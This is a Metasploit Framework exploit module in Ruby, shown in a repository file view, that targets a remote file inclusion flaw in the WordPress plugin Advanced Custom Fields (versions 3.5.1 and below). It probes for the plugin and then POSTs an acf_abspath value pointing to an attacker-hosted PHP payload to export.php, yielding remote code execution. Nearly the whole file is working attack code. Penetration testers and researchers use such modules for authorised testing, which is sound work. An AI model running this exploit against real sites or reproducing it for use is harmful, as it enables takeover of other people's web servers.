Files
metasploit-gs/modules/exploits/multi/http/wp_advanced_custom_fields_exec.rb
T
Charlie Eriksen 6fb2130265 Adding a damn space
It suddenly jumped at me that there was a missing space in the module
info. Couldn't unsee.
2013-01-01 23:40:01 +00:00

97 lines
2.4 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
'Description' => %q{
This module exploits a remote file inclusion flaw in the WordPress
blogging software plugin known as Advanced Custom Fields. The vulnerability allows for
remote file inclusion and remote code execution via the export.php script. The
Advanced Custom Fields plug-in versions 3.5.1 and below are vulnerable.
},
'Author' =>
[
'Charlie Eriksen',
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '87353'],
['URL', 'http://secunia.com/advisories/51037/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 262144, # 256k
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 14 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-content/plugins/advanced-custom-fields/core/api.php"
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def php_exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
plugin_path = 'wp-content/plugins/advanced-custom-fields/core/actions/export.php'
print_status('Sending request')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}#{plugin_path}",
'data' => "acf_abspath=#{php_include_url}"
})
if res and res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
handler
end
end